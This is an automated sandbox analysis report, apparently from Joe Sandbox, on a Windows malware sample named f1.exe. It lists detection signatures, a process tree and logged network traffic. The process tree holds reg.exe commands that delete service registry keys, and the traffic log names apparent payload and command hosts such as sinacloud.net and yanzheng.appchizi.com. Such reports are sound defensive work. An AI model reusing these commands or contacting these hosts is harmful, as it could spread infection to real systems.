Edit tour

Windows Analysis Report
f1.exe

Overview

General Information

Sample name:	f1.exe
Analysis ID:	1487475
MD5:	aa90af9ae785eb682dbfa0fb5ab32241
SHA1:	3b83ddc09a4ff12ceb6c836658aba3d3f2084369
SHA256:	12f00106b68697cf61907a49028037abc0f5071ad2becb19e3a345b5cd6efefa
Tags:	exe
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

AI detected suspicious sample

Changes security center settings (notifications, updates, antivirus, firewall)

Found driver which could be used to inject code into processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Query firmware table information (likely to detect VMs)

Sample is not signed and drops a device driver

Tries to detect virtualization through RDTSC time measurements

Uses cmd line tools excessively to alter registry or file data

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains capabilities to detect virtual machines

Creates a process in suspended mode (likely to inject code)

Creates driver files

Creates files inside the system directory

Creates or modifies windows services

Deletes files inside the Windows folder

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Modifies existing windows services

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses reg.exe to modify the Windows registry

Classification

Process Tree

System is w10x64

svchost.exe (PID: 6320 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

SgrmBroker.exe (PID: 5744 cmdline: C:\Windows\system32\SgrmBroker.exe MD5: 3BA1A18A0DC30A0545E7765CB97D8E63)

svchost.exe (PID: 6924 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 6360 cmdline: C:\Windows\system32\svchost.exe -k UnistackSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 5616 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 2648 cmdline: C:\Windows\System32\svchost.exe -k wsappx -p -s ClipSVC MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

f1.exe (PID: 3180 cmdline: "C:\Users\user\Desktop\f1.exe" MD5: AA90AF9AE785EB682DBFA0FB5AB32241)

reg.exe (PID: 7404 cmdline: "C:\Windows\System32\reg.exe" delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\2649hsXWi /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

conhost.exe (PID: 7236 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 7352 cmdline: "C:\Windows\System32\reg.exe" delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\CB8C7NLdg /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

conhost.exe (PID: 7452 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 4840 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

MpCmdRun.exe (PID: 792 cmdline: "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable MD5: B3676839B2EE96983F9ED735CD044159)

conhost.exe (PID: 7592 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 3232 cmdline: C:\Windows\system32\svchost.exe -k LocalService -s W32Time MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 7308 cmdline: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Sigma Signatures

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k NetworkService -p, CommandLine: C:\Windows\System32\svchost.exe -k NetworkService -p, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k NetworkService -p, ProcessId: 6320, ProcessName: svchost.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Windows\SysWOW64\6E8EJNeaX.sys	Avira: detection malicious, Label: HEUR/AGEN.1360134
Source: C:\Windows\SysWOW64\CB8C7NLdg.sys	Avira: detection malicious, Label: HEUR/AGEN.1360134
Source: C:\Windows\SysWOW64\2649hsXWi.sys	Avira: detection malicious, Label: HEUR/AGEN.1360134
Source: C:\Windows\F705A27.sys	Avira: detection malicious, Label: HEUR/AGEN.1360134

Multi AV Scanner detection for domain / URL

Source: sinacloud.net

Virustotal: Detection: 5%

Perma Link

Multi AV Scanner detection for submitted file

Source: f1.exe	ReversingLabs: Detection: 44%
Source: f1.exe	Virustotal: Detection: 48%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Windows\SysWOW64\6E8EJNeaX.sys	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\CB8C7NLdg.sys	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\MultiSys\75F55GpM.dll	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\MultiSys\A32272954.dll	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\2649hsXWi.sys	Joe Sandbox ML: detected
Source: C:\Windows\F705A27.sys	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: f1.exe

Joe Sandbox ML: detected

Source: f1.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: f1.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: f:\funny\publish\MultiLoginWindow.pdb source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp, f1.exe, 00000006.00000002.3757952840.0000000003BF3000.00000080.00000001.01000000.00000004.sdmp
Source:	Binary string: f:\funny\publish\MultiLoginWindow.pdbT source: f1.exe, 00000006.00000002.3757952840.0000000003BF3000.00000080.00000001.01000000.00000004.sdmp
Source:	Binary string: F:\funny\MultiLoginWindow\Release\MultiPluginDll.pdb source: f1.exe, 00000006.00000002.3758373279.0000000005C11000.00000004.00000020.00020000.00000000.sdmp, f1.exe, 00000006.00000003.1311263415.0000000005C6C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: nDll.pdb source: f1.exe, 00000006.00000002.3758519822.0000000005D52000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: F:\funny\MultiLoginWindow\Release\MultiPluginDll.pdbp source: f1.exe, 00000006.00000002.3758373279.0000000005C11000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: f:\funny\MultiLoginWindow\Release\MultiPluginDll.pdb source: f1.exe, 00000006.00000003.1409332437.0000000005CEA000.00000004.00000020.00020000.00000000.sdmp, f1.exe, 00000006.00000003.1409467806.0000000000BBE000.00000004.00000020.00020000.00000000.sdmp, 75F55GpM.dll.6.dr, A32272954.dll.6.dr
Source:	Binary string: F:\funny\MultiLoginWindow\Release\MultiPluginDll.pdb* source: f1.exe, 00000006.00000003.1311263415.0000000005C6C000.00000004.00000020.00020000.00000000.sdmp

Source: Joe Sandbox View	IP Address: 163.171.132.119 163.171.132.119
Source: Joe Sandbox View	IP Address: 163.171.132.119 163.171.132.119

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.kuaishou.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.sohu.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.douyin.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.qq.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.baidu.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.sogou.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.jd.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.so.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.sina.com.cnRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: soso.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.1688.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.hao123.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: youdao.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.eastmoney.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: foodmate.netRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.jmw.com.cnRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.cdstm.cnRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.hupu.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.cctv.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.tencent.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.autohome.com.cnRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2024-08-04/16_54 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: guangzhoucs.oss-accelerate.aliyuncs.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /operate/26533 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: sinacloud.netRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /operate/43260 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: sinacloud.netRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.kuaishou.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.douyin.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.sohu.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.qq.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.sogou.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.sina.com.cnRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.baidu.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.jd.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.hao123.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: soso.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: youdao.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.so.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: foodmate.netRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.1688.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.jmw.com.cnRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.eastmoney.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.cdstm.cnRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.cctv.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.tencent.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2024-08-04/16_54 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: guangzhoucs.oss-accelerate.aliyuncs.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.jb51.netRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.zhihu.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.hupu.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.autohome.com.cnRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /operate/24624 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: sinacloud.netRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /operate/24624 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: sinacloud.netRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /operate/24647 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: sinacloud.netRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /operate/24647 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: sinacloud.netRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /kss_admin/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNHost: yanzheng.appchizi.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /kss_admin/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNHost: yanzheng.appchizi.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /kss_admin/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNHost: yanzheng.appchizi.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /kss_admin/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNHost: yanzheng.appchizi.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /kss_io/io.php?v=13&b=1&s=10000099&e=get&line=1kstoken80597805589 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Accept-Language: zh-cnReferer: http://yanzheng.appchizi.com/User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; )Content-Length: 126Host: yanzheng.appchizi.com

Source: unknown	TCP traffic detected without corresponding DNS query: 8.218.87.7
Source: unknown	TCP traffic detected without corresponding DNS query: 8.218.30.151
Source: unknown	TCP traffic detected without corresponding DNS query: 8.218.87.7
Source: unknown	TCP traffic detected without corresponding DNS query: 8.218.30.151
Source: unknown	TCP traffic detected without corresponding DNS query: 8.218.87.7
Source: unknown	TCP traffic detected without corresponding DNS query: 8.218.30.151
Source: unknown	TCP traffic detected without corresponding DNS query: 47.242.126.205
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.11.147
Source: unknown	TCP traffic detected without corresponding DNS query: 47.242.126.205
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.11.147
Source: unknown	TCP traffic detected without corresponding DNS query: 47.242.126.205
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.11.147
Source: unknown	TCP traffic detected without corresponding DNS query: 8.218.87.7
Source: unknown	TCP traffic detected without corresponding DNS query: 8.218.87.7
Source: unknown	TCP traffic detected without corresponding DNS query: 8.218.30.151
Source: unknown	TCP traffic detected without corresponding DNS query: 8.218.87.7
Source: unknown	TCP traffic detected without corresponding DNS query: 8.218.30.151
Source: unknown	TCP traffic detected without corresponding DNS query: 8.218.87.7
Source: unknown	TCP traffic detected without corresponding DNS query: 47.242.126.205
Source: unknown	TCP traffic detected without corresponding DNS query: 47.242.126.205
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.11.147
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.11.147
Source: unknown	TCP traffic detected without corresponding DNS query: 8.218.30.151
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.11.147
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.11.147
Source: unknown	TCP traffic detected without corresponding DNS query: 47.242.126.205
Source: unknown	TCP traffic detected without corresponding DNS query: 8.218.30.151
Source: unknown	TCP traffic detected without corresponding DNS query: 8.218.30.151
Source: unknown	TCP traffic detected without corresponding DNS query: 47.242.126.205
Source: unknown	TCP traffic detected without corresponding DNS query: 47.242.126.205
Source: unknown	TCP traffic detected without corresponding DNS query: 8.218.87.7
Source: unknown	TCP traffic detected without corresponding DNS query: 8.218.87.7
Source: unknown	TCP traffic detected without corresponding DNS query: 8.218.87.7
Source: unknown	TCP traffic detected without corresponding DNS query: 8.218.87.7
Source: unknown	TCP traffic detected without corresponding DNS query: 8.218.87.7
Source: unknown	TCP traffic detected without corresponding DNS query: 8.218.87.7
Source: unknown	TCP traffic detected without corresponding DNS query: 8.218.87.7
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.kuaishou.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.sohu.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.douyin.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.qq.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.baidu.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.sogou.comRange: bytes=0-Connection: Keep-Alive
